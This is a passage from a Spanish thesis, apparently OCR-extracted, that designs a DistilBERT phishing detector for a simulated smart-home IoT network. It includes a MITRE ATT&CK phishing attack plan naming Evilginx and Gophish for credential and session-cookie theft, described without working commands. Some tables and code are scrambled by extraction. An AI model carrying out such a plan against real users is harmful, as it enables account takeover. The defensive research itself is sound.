GPT 1 1 0 1 0 1 0 4

1 = Cumple, 0 = No Cumple

Una vez estudiado los trabajos que emplean modelos de NLP en el proceso de
deteccion de amenazas, vulnerabilidades y componentes que hacen referencia a phishing,
se selecciona DistillBERT como modelo de NLP aplicables en la red 10T, debido a que
posee un contexto de evaluacion bidireccional, que permite una mayor compresion del
lenguaje y a su vez repercute de manera favorable en la precision del modelo, ademas de
que al ser una version mas ligera del modelo BERT este puede implementarse en

dispositivos de menor capacidad computacional sin sacrificar la precision.

3.4.6 Seleccion del Ataque

Este apartado establece la relacion entre el sistema de deteccion y los ataques de
phishing. De esta manera se presentan algunos de los ataques que, segun su naturaleza,

metodologia y objetivo, dan cabida a su uso en el proceso de disefio del sistema.

Partiendo del compendio de ataques expuestos en el capitulo I, y tomando como
referencia trabajos previos en torno a la deteccion de phishing mediante técnicas
novedosas de inteligencia artificial, se revisa las variantes de phishing més significativas.

Este analisis permite establecer el tipo especifico de ataque a simular en nuestra red 10T.
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Considerando los estudios referenciados en el Anexo 3, se profundiza en la

esencia del ataque, explorando su mecanismo de funcionamiento y las medidas de

seguridad tradicionales que se pueden aplicar. Esta comprension del ataque facilita el

desarrollo de un sistema de deteccion més robusto y eficaz.

El enfoque empleado no solo facilita una caracterizacion mas exacta del ataque,

sino que también establece las bases para crear contramedidas innovadoras que

aprovechen las capacidades de la inteligencia artificial.

La Tabla 15 describe las caracteristicas generales de algunos tipos de ataque

phishing que se consideran a implementar.

Tabla 15

Mecanismos de funcionamiento y seguridad de los ataques phishing

Ataque Tipo de Mecanismo de
Medidas de Seguridad
Phishing Ataque Funcionamiento
Emplear filtros antispam
y anti-phishing.
Envia correos electronicos
Verificar la direccion del
Phishing fraudulentos que pretenden
remitente y la
mediante Engafioso  ser de entes confiables con el
autenticidad del correo.
email propdsito de robar
Evitar el acceso en
informacion confidencial.
enlaces de email
sospechosos.
Emplea llamadas telefonicas No proporcionar
Phishing
Engafioso o SMS en donde adopta la informacional personal a
Telefonico

identidad de fuentes

través de llamadas.



Phishing en
redes

sociales

Phishing
basado en

Malware

Ataques de
ofuscacion

URL

Engafioso

Subterfugio

Técnico

Subterfugio

Técnico

confiables para notificar
problemas de seguridad y de
esta manera persuadir a la
victima para que revele
informacion personal.
Emplea plataformas de redes
sociales  para  ejecutar
acciones maliciosas que
conlleva en ataques como el
secuestro  de  cuentas,
suplantacion de identidad,
estafas y distribucion de
malware.

Ejecuta software malicioso
previamente plantado en el
computador de la victima con
el objetivo de llevar a cabo

acciones fraudulentas o robo

de informacion.

Persuade al usuario para que
acceda a enlaces que
redirigen a la victima hacia
sitios y servidores

maliciosos.

78

Verificar la identidad del
interlocutor y la entidad

a la que representa.

Ajustar la configuracion
de privacidad.

Evitar el acceso en
enlaces desconocidos.
Desconfiar de mensajes
que provengan de
contactos desconocidos

y sospechosos.

Emplear software
antivirus y antimalware.
Realizar escaneos del
sistema para detectar y

eliminar malware.

Verificar la autenticidad
de los URLs antes de
acceder.

Configurar el navegador
para mostrar alerta sobre

URL sospechosas.




79

Estudios recientes de ciberseguridad han revelado patrones relevantes con
relacion a la naturaleza y frecuencia de los ataques cibernéticos. Un reporte presentado
por Egress, un proveedor de seguridad de correo electronico en la nube que emplea
aprendizaje automatico y redes neuronales para evaluar el riesgo humano muestra datos
del presente afio sobre los incidentes de ciberseguridad. El informe sefiala que el phishing
se mantiene como la amenaza predominante para las organizaciones (Egress, 2024).
Segun el reporte, el 94% de las empresas encuestadas que experimentaron incidentes

fueron victimas de phishing. Entre las tacticas mas comunes se sitdan:

e Phishing basado en URLs maliciosa.
e Distribucidn de malware o ransomware a travées de archivos adjuntos.
e Ataques de phishing enviado desde cuentas comprometidas.

Es destacable mencionar que el 79% de los ataques centrados en la adquisicion de
credenciales de cuentas se iniciaron mediante técnicas de phishing basadas en correo
electronico, a su vez las tacticas mencionadas anteriormente denotan el uso de este
mecanismo. De igual forma se menciona que el 64% de los encuestados fueron perjudicas

a nivel financiero y en torno a la reputacion de la empresa (Egress, 2024).

Proofpoint, una empresa de ciberseguridad especializada en la proteccion contra
amenazas, la seguridad de correo electrénico, proteccion de datos y el cumplimiento
normativo, presenta en su reporte de 2024 una vision porcentual mas detallada sobre la
prevalencia de diversos tipos de ataques cibernéticos en comparacion con los afios 2023

y 2022 (Proofpoint, 2024):

e Phishing masivo: 76%

e Spear phishing: 74%
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e Business Email Compromise (BEC): 73%

e Ransomware: 77%

e Smishing: 75%

e Vishing: 67%

e Ataques mediante USB Drop: 60%

e Ataques a través de redes sociales: 72%

e Riesgos en la cadena de suministro: 69%

e Pérdida de datos por atacantes externos: 66%

e Pérdida de datos por insiders: 64%

e TOAD (Callback Phishing): 67%

SlashNext, empresa especializada en la proteccion de organizaciones contra

amenazas avanzadas y ataques de ingenieria social mediante inteligencia artificial,
presenta en su informe de 2023 datos acerca de los canales mas empleados para el

despliegue de ataques phishing (SlashNext, 2023):

e Correo electronico: 80%

e Mensajes de texto: 28%

e Llamadas telefonicas: 23%

e Redes sociales: 14%

e Plataformas de mensajeria instantanea (WhatsApp, Telegram, Signal): 14%
e Herramientas de colaboracion (Slack, Microsoft Teams, Zoom): 10%

En base a la informacion menciona por (Egress, 2024; Proofpoint, 2024;
SlashNext, 2023), se realiza la seleccién del ataque, tomando como criterio de
ponderacién el tipo de ataque que presenta mayor uso por parte del atacante.

La Tabla 16 muestra la ponderacion de los ataques de phishing mencionados en

los reportes expresados a manera de ranking.
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Tabla 16

Seleccion del ataque phishing en base al ranking.

Tipo de Ataque Phishing Reporte 1 Reporte2 Reporte3 Ranking promedio

Phishing basado en email 5 5 5 5
Phishing Telefonico - 3 4 2.33
Phishing en redes sociales - 2 3 1.66
Phishing basado en malware 3 4 - 2.33
Phishing de ofuscacion URL 4 - - 1.33

5 = nivel mas alto de ranking, 1 = nivel mas bajo del ranking

Nota: La tabla de seleccién se elabora a partir de los datos provistos por 3 empresas:

Egress (Reporte 1), Proofpoint (Reporte 2) y SlashNext (Reporte 3).

Dado la gran variedad ataques de phishing, se ha decidido por un ataque que
técnicamente sea sencilla de incorporar a la red 10T generada mediante Mininet, los
ataques en cuestion corresponden al ataque phishing basado en email y al ataque phishing
basado en URLSs que generalmente se anexan en emails. La decantacion por estos ataques
se fundamenta en los reportes mencionados, asi como la ponderacidn realizada en base al
ranking presentado en la Tabla 16, de esta manera se podra poner aprueba nuevos

mecanismos para contrarrestar ataques Phishing como es el caso de uso de modelos NLP.

3.4.7 Descripcién del Escenario

Una vez definido los requerimientos y seleccionadas las diversas herramientas
necesarias, se procede al planteamiento del escenario, el cual tiene un enfoque orientado

con una arquitectura del Internet de las Cosas.

En el marco de este proyecto, se ha disefiado un escenario que comprende un

conjunto de dispositivos integrados en una red loT de tipo Smart-Home. Estos
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dispositivos serviran como objetivos potenciales para simular ataques de phishing, con el
propésito de verificar la eficacia y la funcionalidad del sistema propuesto. El desarrollo
de este escenario se estructura en dos fases: la primera centrada en la simulacion de la red
IoT por medio de un software especializado, y la segunda orientada al sistema de

deteccion de phishing.

La configuracidon del escenario se ha disefiado tomando en cuenta el tipo de ataque
phishing seleccionado previamente, asi como los mecanismos y herramientas

fundamentales que deben estar presentes en una red IoT.

La Figura 5 muestra la distribucion de los elementos en relacion con el escenario
propuesto con un énfasis en una arquitectura IoT de cuatro capas y acoplada a un esquema

de direccidn de un ataque phishing.
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Figura 5

Arquitectura loT acoplada a un caso de ataque phishing
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3.4.8 Disefio de la Red

El apartado de red del escenario propuesto se caracteriza por una serie de nodos
simulados, disefiados para ejecutar procesos de comunicacién y transferencia de datos. El
proceso de comunicacion inicia con el establecimiento del enlace WiFi entre los nodos
con el punto de acceso, tras lo cual se asignan los roles de cliente y servidor a los nodos

dentro de la topologia de red.

El nodo servidor, definido como servidor local, actia como un concentrador
central que gestiona el envio y recepcion de datos mediante el protocolo CoAP. Una vez

recibida la informacion, el servidor local procesa y almacena los datos en InfluxDB
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Cloud, una plataforma de base de datos alojada en la nube que permite manejar datos de
series temporales. Finalmente, los datos se transfieren al servicio de Grafana Cloud, la
cual permite generar graficas de monitoreo para el andlisis y visualizacién de

informacioén.

La Figura 6 muestra la secuencia general de las interacciones realizadas por los
elementos que conforman la red 10T. En el siguiente apartado, se profundizaran con
mayor detalle los procesos descritos, estableciendo una relacion con una arquitectura loT

de cuatro capas.

Figura 6

Diagrama de secuencia del proceso de transferencia de datos entre el servidor local y

la nube
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3481 Generaciéon de Datos

En el escenario planteado, los nodos presentes en la capa de percepcion (segun se
indica en la Figura 5) generan los datos en funcion de los eventos que se suscitan en los
dispositivos. Estos dispositivos se comunican por medio de WiFi, y para el presente
estudio se ha planteado la simulacién de multiples dispositivos caracteristicos de una red

l0T del tipo Smart Home.

Los nodos generarén las variables relacionadas con los factores ambientales y el
comportamiento del dispositivo en si. La simulacién se llevara a cabo por medio del

software de simulacién de red Mininet-WiFi.

La Tabla 17 presenta un listado de dispositivos tipicos en una red Smart Home,

asi como informacion relevante acerca de las variables a registrar por cada nodo.

Tabla 17

Distribucién de nodos presente en la capa de percepcion

Seccion Nodo/Dispositivo Variables de registro
Bombilla Inteligente Brillo, Estado, Color
Sala

Termostato Temperatura, Estado

Cocina Foco Inteligente Brillo, Estado, Color
Dormitorio Foco Inteligente Brillo, Estado, Color
Entrada Principal Enchufe Inteligente Estado (Encendido)
Enchufe Inteligente Estado (Encendido)

Garaje

Sensor Temperatura
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Adicionalmente, en la Tabla 18 se especifica el direccionamiento IP de cada uno

de los dispositivos, la cual refleja su distribucion en la topologia légica que se representara

en la simulacion de red propuesta.

Tabla 18

Distribucion légica de los nodos en la capa de percepcion

Seccion Nodo Direccion IP
Bombilla Inteligente 10.0.0.11/24
Sala

Termostato 10.0.0.12/24
Cocina Foco Inteligente 10.0.0.13/24
Dormitorio Foco Inteligente 10.0.0.14/24
Entrada Principal Enchufe Inteligente 10.0.0.15/24
Enchufe Inteligente 10.0.0.16/24

Garaje
Sensor 10.0.0.17/24

3.4.8.2 Registro de datos

El siguiente apartado se enfoca en la transmision de los datos generados por los

nodos utilizando comunicacién WiFi y el protocolo CoAP. A través del software de

simulacion de red Mininet-WiFi, se emula el plano de conectividad de la arquitectura loT

mediante la creacién de dispositivos virtuales, como switchs y puntos de acceso, que

interconectar los distintos elementos de la red.

Los procesos de gestion y control de la red se realizan por medio del protocolo

OpenFlow, que opera de manera inherente en el software de Mininet-WiFi, esto permite

separar los planos de control y de datos, lo cual facilita la gestion de la red de manera

significativa.
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La Tabla 19 presenta los detalles de los elementos principales que intervienen en
la transferencia de informacion y que hacen alusion a la capa de conectividad de la

arquitectura loT.

Tabla 19

Distribucion logica de los nodos de la capa de conectiva y procesamiento

Nodo Direccién IP
Servidor Local 10.0.0.1/24
Punto de Acceso 10.0.0.1/24

Para el apartado de la comunicacion mediante el protocolo CoAP, se establece el
contexto de cliente en cada uno de los nodos de la capa de percepcion para el envio de
datos al servidor local (ver Figura 7). Los procesos de transferencia de datos por medio
de CoAP se implementara mediante la libreria aiocoap del lenguaje de programacién
Python, que a su vez es compatible con la simulacion generada por Mininet-WiFi. El
servidor local actia como un concentrador que recopila la informacién y la encamina

hacia los planos superiores de la arquitectura IoT.

Figura 7

Proceso de comunicacion del protocolo CoAP

CON mid = 3055
TOKEN = 2086
POST ftemperature_

ACK mid = 3055
-



88

3.48.3 Procesamiento de datos

Esta seccion establece los mecanismos de preprocesamiento que ejecutan los
procesos de decodificacion y el andlisis del payload (carga util) asociados al protocolo
COoAP de cada uno de los nodos de la red, facilitando el envio de informacion a la nube
para la persistencia de los datos. Una vez determinado el contenido del payload, se envia
las etiquetas y campos de informacion relevantes hacia el plano de aplicacion de la
arquitectura l1oT, que en este caso agrupa los sistemas de almacenamiento de datos de
InfluxDB Cloud y Grafana Cloud. Los procesos de envio hacia InfluxDB Cloud se
realizan por medio de su API, mientras que para Grafana Cloud los datos se ponen a

disposicion a través de peticiones realizadas al servicio de almacenamiento.

3.4.9 Disefio del Sistema de Deteccidn

La siguiente fase de disefio explora los procesos involucrados en la solucién a
implementar, de manera general se expone en la Figura 8 las interacciones ejecutadas por
los distintos elementos durante el método de deteccidn de correo phishing, el cual parte

posterior al envio del correo desde la fuente externa hacia el objetivo dentro de la red.

El sistema, alojado en el servido local, actia como un proxy para interceptar los
correos de los clientes de la red. Una vez receptado el correo, se analiza su contenido
mediante técnicas de preprocesamiento y el modelo DistilBERT, de esta manera se logra
determinar patrones inusuales en los distintos campos de un correo. El analisis se centra

en informacion clave tales como URLS, el remitente, y el texto del email.

Posteriormente, se aplican procedimientos de clasificacién para detectar si

corresponde a un ataque phishing. Si se presenta un caso de phishing, se aplican
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mecanismos para evitar el acceso al correo; caso contrario, se procede a la entrega del

correo al cliente como uno legitimo.

Figura 8

Diagrama de secuencia del proceso de deteccion de phishing

&\
> H ﬂ hu% O

Nodo Cliente Access Point Servidor Local Internet Atacante Externo
I I ] Ataque Phishin I I I
{ ftadue TSNS

44— FEnwvia correo phishing

Deteccidn de Phishing

|
J

Adquiere correo
electronicos

Analiza correo electronico
mediante DistilBERT

Verifica validez del
correo electronico

R RREEEEEREEEEE Entrega correo electronico=----=-=-=--~ ® -

Bloqueé correo
mediante regla (IDS)

El proceso de adquisicién de credenciales producto de un ataque phishing efectivo
involucra varias interacciones, las cuales se ilustran en la Figura 9. El servidor malicioso,
bajo el control del atacante, integra herramientas como Gophish y Evilginx, las cuales
operan en base a la estructura de comunicacion establecida por los phishlets. Estos
componentes tienen como funcion la redireccion de la victima hacia al sitio web malicioso
y consecuentemente la adquisicion de las credenciales de acceso, asi como los datos

relacionados con las autorizaciones de sesion.
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Figura 9
Diagrama de secuencia del proceso de adquisicion de credenciales
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3491 Meétodo de deteccion

Para ampliar el modo de funcionamiento del sistema de deteccion mediante NLP
presente la Figura 5, se expone mediante la Figura 10 los procesos internos que se
ejecutan para determinar si el contenido de los correos electronicos presenta detalles
contextuales que hacen referencia a ataques phishing, para de esta manera efectuar las

medidas pertinentes para contrarrestar el ataque.



Figura 10

Diagrama de bloques del método de deteccion de ataques basado en NLP
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El diagrama esta conformado por los siguientes blogues: bloque de adquisicion de

emails, bloque de procesamiento de emails, bloque del modelo NLP, bloque de

clasificacion, bloque de prediccion, blogue de respuesta. A continuacion, se define las

acciones de cada uno.

e Blogue de adquisicién de emails: En este apartado se obtiene los correos

electrénicos de los nodos clientes haciendo uso de librerias de Python que

permiten interactuar y ejecutar acciones por medio de IMAP o la API de Outlook.
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¢ Bloque de procesamiento de emails: Define los procesos para extraer informacion
especifica de los distintos campos que conforman un email, los tipos de
informacidn a extraer comprenden direcciones URL, dominios web y texto plano
del mensaje.

e Bloque del modelo NLP: El blogue en cuestion contiene los detalles relacionados
al modelado mediante el proceso de ajuste fino (fine tunning) el cual se realiza en
el servicio de Google Colab, por medio de un conjunto de datos se realiza la
adecuacion del modelo LLM para la clasificacion de informacion a través de las
etiquetas de “Safe Email” y “Phishing Email”.

e Bloque de clasificacion: EI modelo preentrenado se incorpora a los procesos
presentes en el cadigo del servidor local

e Bloque de prediccion: Ejecuta los procesos de célculo de porcentajes para
determinar si el correo analizado es un correo phishing:

e Bloque de respuesta: Establece las reglas de bloqueo basandose en los parametros

analizados (URL, dominios web)

3.49.2 Proceso de Entrenamiento

En el siguiente apartado se cubre los procedimientos en torno a la preparacion del
modelo para la deteccion de phishing, en base a las secuencias especificadas en el blogque
de entrenamiento de la Figura 10. El bloque en cuestion muestra los principales
mecanismos del proceso de entrenamiento que corresponden al preprocesamiento de
datos, segmentacion del conjunto de datos, afinamiento del modelo DistilBERT con un

enfoque hacia la deteccion de correos phishing.

Preprocesamiento de datos: Este mecanismo se encarga de eliminar caracteres

innecesarios sin alterar la idea principal, entre dichos caracteres se encuentran
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emoticones, tabulaciones y saltos de linea. Ademas de esto también se ejecutan

correcciones sintacticas y de ser necesario se realiza la traduccion de términos.

Segmentacion del conjunto de datos: Corresponde a la distribucion de los
correos presentes en el conjunto de datos en partes porcentuales que se haran uso en el
proceso de ajuste del modelo, asi como para los casos de inferencia una vez obtenido el

modelo resultante.

Afinamiento del modelo NLP: En este apartado se llevan a cabos las tareas de
lematizacion, el etiquetado de partes del discurso (POS), la tokenizacién y la eliminacion
palabras vacias (Stopwords). Con el objetivo reducir la dimensionalidad del texto por
medio de la eliminacion de componentes innecesarios sin comprometer la idea principal

de cada texto y asi finalmente obtener las caracteristicas del texto.

El proceso de entrenamiento se desarrollard en Google Colab, en el entorno de
entrenamiento provisto por la plataforma se llevara a cabo el ajuste del modelo base de
DistilBERT. El procedimiento se enfocard directamente en la identificacion y
clasificacion de oraciones y frases cuya estructura gramatical corresponda con las
caracteristicas tipicas de un correo de phishing. Como resultado de este proceso, se genera
un nuevo modelo especializado en realizar inferencias de clasificacion de los correos

electronicos en dos categorias especificas, “Safe Email” y “Phishing Email”.

La Figura 11 muestra los procesos y acciones a ejecutar en el proceso de

afinamiento del modelo (Fine-Tunning) mediante DistilBERT.



Figura 11

Diagrama de flujo del proceso de entrenamiento (Fine-tuning)
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3.4.9.3  Proceso de Integracion del Sistema de Deteccién

Una vez obtenido el modelo, se integra el proceso de inferencia al servidor local
que forma parte del escenario 10T, en el proceso global referente al sistema de deteccidn
de phishing se anexan las librerias y se establecen los bloques de las funciones para la
inferencia ademas de los archivos de configuracion para la operacion conjunta con el
modelo y el tokenizador, asi como con el vocabulario para el andlisis sintactico. Conforme
a las funciones integradas se presenta el conjunto de librerias empleadas, la informacion

de la funcionalidad que desempefia cada una de ellas se detalla en la Tabla 20.

Posteriormente, se realiza el proceso de analisis del contenido del correo, el cual
parte de la adquisicién de los correos asociados, del contenido presente en cada uno se
extrae informacidn relevante de las secciones del encabezado como del cuerpo, se aplica
el analisis de phishing al texto y a las direcciones url mediante un tratamiento previo de
dicha informacion de esta manera se establece un valor porcentual de la probabilidad de
phishing, con base en el resultado de este Ultimo proceso y de acuerdo a la etiqueta del

resultado “Safe Email” y “Phishing Email” se generan las acciones a ejecutar.

Tabla 20

Detalles de las librerias empleadas

Librerias

Nombre Funcionalidad

Permite la interaccion y el uso de funcionalidades que dependen del

Os

sistema operativo

Brinda la capacidad de manipular los encabezados del mensaje
msal (remitente, destinatario, asunto) y el contenido de los correos

electrénicos.
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Es una libreria de procesamiento de lenguaje natural (NLP) que

permite la interaccione con los modelos preentrenados, incluye

Transformers

funciones para realizar inferencias y ejecutar tareas especificas como

clasificacion, traduccion y analisis de sentimientos.

Permite realizar operaciones de busqueda y manipulacion de texto en
Re

base a patrones.

Libreria para realizar tareas de extraccion de dominios y subdominios

Tldextract

presentes en una URL

Es una biblioteca que permite el analisis de los archivos HTML y
bs4 XML, proporciona funciones para navegar, buscar y modificar datos

por medio de un arbol de analisis.
Detecta la codificacion de caracteres de texto en archivos o cadenas
Chardet por medio del analisis de la distribucion estadistica de los valores de

bytes.

Proporciona un conjunto de tipos de contenedores especializados,
Collections  utilizado para el almacenaje, acceso e iteracion de objetos de manera

mas eficiente.

Permite la ejecucion de programas externos o comandos desde Python,

Subprocess
facilita tareas de automatizacion e integracion de otros programas.

Un espectro méas detallado de los procesos y acciones a ejecutar para el método

de deteccion son presentados en Figura 12.



Figura 12

Diagrama de flujo del método de deteccion
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3.4.10Plan de Ataque

Una vez planteado el escenario de la red Smart-Home, se procede con la
planificacion del ataque phishing a través del correo electronico con el proposito de
adquirir informacién confidencial. Para este propdsito, se hara uso del marco de
referencia MITRE ATT&CK, que describe diferentes tipos de ataque desde el punto de

vista del actor de la amenaza.

3.4.10.1 Definicion del plan de ataque

El plan de ataque se definira a partr del framework MITRE ATT&CK, el cual
agrupa una extensa base de conocimientos sobre las técnicas y tacticas que son
empleadas por los ciberdelincuentes. Adicionalmente, el marco ofrece mecanismos para

la prevencién y mitigacion de amenazas.

A base de la taxonomia MITRE ATT&CK, se realiza una revision de las
técnicas y técticas en torno al ataque phishing. El objetivo de esta accion es simular con
una la mayor precision posible, siguiendo las diversas fases que expone el marco de la
MITRE ATT&CK. Las principales fases contempladas son: Reconocimiento,
Desarrollo de recursos, Acceso inicial, Ejecucion, Persistencia, Escalamiento de
privilegios, Evasion de defensa, Acceso a credenciales, Descubrimiento, Movimiento

lateral, Comando y control, Exfiltracion, Impacto.

Para el caso del plan de prueba a desarrollar, se definirdn y ejecutaran técnicas y
sub técnicas especificas, con especial énfasis en el ciclo de vida de un ataque

cibernético que sefiala el marco MITRE ATT&CK (Ver Tabla 21).



Tabla 21

Lista de técnicas de un ataque phishing
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TAC ID Nombre Descripcion
Los oponentes pueden reunir datos sobre la
identidad de la victima que podrian
Recopilar
utilizarse en la eleccion de objetivos. Esta
informacion de
T1589 informacion puede abarcar tanto detalles
identidad de la
personales como datos sensibles, como
victima
credenciales o  configuraciones  de
£ autenticacion multifactor (MFA).
()
% Los oponentes pueden recolectar datos
o
c
§ sobre las redes de las victimas que podrian
@
utilizarse en la eleccion de objetivos. Esta
Recopilar
informacion  puede abarcar  detalles
T1590 informacion de la

red de victimas

administrativos (rangos de direcciones IP,
nombres de dominio), asi como aspectos
relacionados con la topologia y las

operaciones.



Desarrollo de recursos

Acceso Inicial

T1583

T1566.002

Adaquirir

infraestructura

Phishing: Enlace

de spear phishing

100

Los oponentes pueden adquirir, rentar,
alquilar o conseguir infraestructura que
puede ser utilizada durante el proceso de
segmentacion. Hay un amplio catalogo de
opciones de infraestructura disponibles
para albergar y gestionar las operaciones de
los adversarios. Entre las soluciones se
encuentran servidores fisicos o en la nube,
dominios y servicios web proporcionados
por terceros.

Los oponentes pueden enviar correos
electronicos de spear phishing que
contengan enlaces maliciosos con el
objetivo de acceder a los sistemas de la
victima. Esta es una modalidad de spear
phishing que utiliza enlaces para descargar
el malware directamente desde el correo, en
vez de incluirlo como archivo adjunto.
Ademas, el spear phishing incorpora
técnicas de ingenieria social y la

suplantacion de una entidad confiable.



Phishing para

T1598 obtener
informacién
[
O
'S
>
(&)
_(D
ur
Recopilar

informacién de

T1589.001 identidad de la

victima:

Credenciales

101

Los oponentes pueden enviar mensajes de
phishing con el fin de obtener datos
confidenciales que podrian utilizarse en la
segmentacion. Esta subtécnica busca
engafiar a las victimas para que revelen
informacion, como credenciales u otros
datos utiles, con el proposito principal de
recopilar informacién mas que de ejecutar
cbédigo malicioso.

Los oponentes  pueden  recolectar
credenciales que podrian ser utilizadas en la
segmentacion. Estas credenciales obtenidas
pueden estar directamente vinculadas con
la organizacion objetivo 0 intentar
aprovechar la tendencia de usar las mismas
contrasefias en cuentas personales y

laborales.



Persistencia y Escalada

T1078

Cuentas validas

102

Los oponentes pueden obtener y explotar
las credenciales de cuentas existentes como
una forma de conseguir acceso inicial,
mantener persistencia, escalar privilegios o
evadir defensas. Estas credenciales
comprometidas pueden ser utilizadas para
eludir los controles de acceso a diversos
recursos dentro de los sistemas de la red, o
para mantener un acceso continuo a
sistemas remotos Yy servicios externos
(como VPN, Outlook Web Access,
dispositivos de red y escritorio remoto).
Ademas, las credenciales comprometidas
pueden proporcionar mayores privilegios
en sistemas especificos 0 acceso a areas
restringidas de la red, complicando asi la

deteccion de la presencia del adversario.
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Un atacante puede sustraer cookies de
sesion de aplicaciones web o servicios y

emplearlas para acceder como un usuario

frecuentemente usan cookies de sesion

[72)

(<5}

2 autenticado sin requerir credenciales. Las
é Robar cookie de

o T1539 aplicaciones y servicios web
© sesion web

(@]

(72)

(<5}

o

(8]

<

como tokens de autenticacion una vez que
un usuario ha iniciado sesion en un sitio

web.

La estrategia de mitigacion se define en consonancia con la del sistema de
deteccion phishing propuesto, tomando como referencia los lineamientos que establece

el marco de MITRE ATT&CK.

Los detalles especificos de la mitigacion se muestran de manera detallada en la

Tabla 22.

Tabla 22

Lista de mitigacion contemplada para el ataque phishing

TAC ID Nombre Descripcion
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Los sistemas de deteccion de
intrusiones en la red y aquellos

disefiados para escanear y eliminar

Prevencion de
M1031 archivos adjuntos o enlaces

intrusos en la red

Mitigacion

maliciosos en correos electronicos
pueden utilizarse para impedir

actividades no deseadas.

Reconocimiento: El desarrollo de esta fase se llevara a cabo mediante técnicas
de Inteligencia de Fuentes Abiertas (OSINT), que permitiran la recoleccion de datos
relevantes sin la intervencion directa con los sistemas objetivos. Ademas, se
desarrollaran estrategias de ingenieria social como el analisis de las redes sociales y
mapeo organizacional para de esta manera construir un perfil del objetivo que seran la

base de las siguientes etapas.

Desarrollo de Recursos: Esta fase implica el despliegue del ecosistema disefiado
para simulary evaluar el ataque, en este sentido se emplearan herramientas especializadas
para phishing como Evilginx y Gophish, que proporcionan capacidades para la ejecucion
de técnicas como la suplantacion de identidad y captura de credenciales. Sumado a esto
se configurara un dominio fraudulento para recrear un escenario mas realista desde el

punto de vista de la ingeniera social.

Acceso Inicial: Esta fase se centra en el desarrollo de métodos de acceso que
combinan la parte técnica y la social, dentro de estos métodos se incluye la construccién

de correos electrdonicos personalizados y el disefio de paginas de suplantacion.
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Ejecucion: Correspondiente a la materializacion practica de los mecanismos
disefiados anteriormente y que operan con las herramientas especializadas en phishing,
por medio de los sefiuelos y plantillas de correo buscan eludir al objetivo para que revele

informacion confidencial.

Persistencia y Escalada: En esta fase se emplea la informacion del objetivo
adquirida tales como usuario y contrasefia asociada a los servicios legitimos de correo
para de esta manera prolongar la estancia en la red sin que se genera indicios de presencia

por parte del atacante.

Acceso a Credenciales: Esta fase se alinea con el resto de las fases, es la parte
final en la que el adversario captura el token de identificacion asociada al servicio en este
caso el correo, por medio de mecanismos asociados a las cookies el atacante puede ser

capaz de acceder a la cuenta del objetivo.
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CAPITULO IV: Implementacion y Pruebas

El siguiente capitulo cubre los apartados de configuracion de la red y el sistema
de deteccion que buscan mejorar la seguridad en un entorno 10T mediante el uso de
inteligencia artificial junto con un sistema de deteccion de intrusos (IDS), a su vez se
ejecutaran pruebas para determinar la factibilidad de la propuesta de seguridad. El
apartado de pruebas se categoriza en dos ambitos funcionales y especificas, en los
cuales se evallan para el primer caso las diversas secciones de la red y el sistema de
manera individual, para el segundo caso se pone a prueba de manera conjunta el sistema

completo en relacién con los casos en donde el sistema se encuentra activo e inactivo.

4.1 Implementacion y Configuracion de la Red

El apartado de la red se desarrolla a base de una configuracién de nodos que
desempefaran los roles de nodos clientes y nodo servidor para el caso del proceso de
comunicacion y envio de datos mediante CoAP, a su vez también se generan los
dispositivos virtuales que actuaran como puntos de acceso o concentrador para el tema de
conexion mediante WiFi y la interconexion de la red. Finalmente, se redirige los datos de

la red local hacia la nube para garantizar la persistencia y disponibilidad de los datos.

4.1.1 Generacion de Datos

El siguiente proceso toma como referencia el listado de dispositivos de la Tabla
17 presente en el apartado de disefio. Con base en dicha informacion se generan una serie
de dispositivos zonas predeterminadas del escenario Smart Home, posteriormente se

establecen las configuraciones de red respectiva (ver Figura 13).
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Figura 13

Creacion de Nodos
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hostl = net.addStation('hostl', mac='00:00 iH '10.0.0.20/24"', position="140 !
sec2_nl = net.addStation('coci_nl', mac='00:00:00:00:00:03', ip='10.0.0.13/24", position='

sec3_nl = net.addStation('dorm_nl', mac='00:00:00:00:00:04', ip='10.0.0.14/24"', position='163,250,0"

sec4_nl = net.addStation('entr_nl', '0 p0:00:00:05', ip="10.0.0.15/24", position='170,115,0"

sec5_nl = net.addStation('gara_nl', mac='00:00:00:00: p6', ip='10.0.0.16/24', position='128,17
sec5_n2 = net.addStation('gara_n2', :00:00:00:00:07', 1p='10.0.0.17/24", position='128

serv = net.addHost('serv', mac='00: 8 08', ip="'10.0.0.100/24', position='128,225,
serv2 = net.addHost('serv2', mac='00:00:00:00:00:09', ip='10.0.0.101/24" , position='128,

A su vez se crean los scripts en Python para la simulacion de las variables a
monitorear y que seran enlazadas a su respectivo dispositivo. Para ampliar los detalles de
los dispositivos se presenta las variables y estados a representar mediante la simulacion

en la Tabla 23.

Tabla 23

Datos de monitoreo de los dispositivos

Dispositivo Variable Estados
Sensor de temperatura temperatura (15-25 °C) -
Termostato temperatura (21 — 25 °C) Encendido/Apagado
Enchufe Inteligente - Encendido/Apagado

color (Hexadecimal)
Foco inteligente Encendido/Apagado
brillo (0-100)

La Figura 14 muestra la seccion de codigo para la generacion aleatoria de
temperatura correspondiente al sensor y a su vez la Figura 15 muestra el codigo de

asociacion de los scripts de la interfaz con su respectivo dispositivo.



108

Figura 14

Caodigo de generacion aleatoria de datos de temperatura

def send_data():
protocol = await Context.create client context()

while True:
temperature = round(random.uniform(15.0, @), 2)

Figura 15

Caddigo de asociacion de scripts de generacion de datos

makeTerm(secl_n1l, Sala-Foco',cmd="bash -c 'sleep 5; python3 SmartBulb.py bulbl'")
makeTerm(secl_n2, Sala-Termostato',cmd="bash -c 'sleep 5; python3 Thermostat.py'")

makeTerm(sec2_n1, Cocina-Foco',cmd="bash -c 'sleep 5; python3 SmartBulb.py bulb2'")
makeTerm(sec3_n1, Dorm-Foco',cmd="bash -¢ 'sleep 5; python3 SmartBulb.py bulb3'")

makeTerm(sec4_n1, Entrada-Plug',cmd="bash -c 'sleep 5; python3 SmartPlug.py plugl'")

makeTerm(sec5_n1l, Garaje-Plug',cmd="bash -c 'sleep 5; python3 SmartPlug.py plug2'")
makeTerm(sec5_n2, Garaje-Sensor',cmd="bash -c 'sleep 5; python3 SensorTemp.py'")

4.1.2 Registro de Datos

Continuando con la configuracion de la red se generan los dispositivos encargados
de los procesos de conexion por medio de WiFi y los procesos de transferencia de datos

mediante CoAP.

El apartado de configuracién para la comunicacién mediante WiFi inicia a partir
de la designacion de identificativos, direcciones fisicas (direccion MAC) y direcciones
I6gicas (direccion IP) se establecen las configuraciones iniciales de los nodos que actian
como estaciones en la red. Entre los aspectos de la red inalambrica se define el Service
Set Identifier (SSID) que permite identificar la Red de Area Local Inalambrica (WLAN)
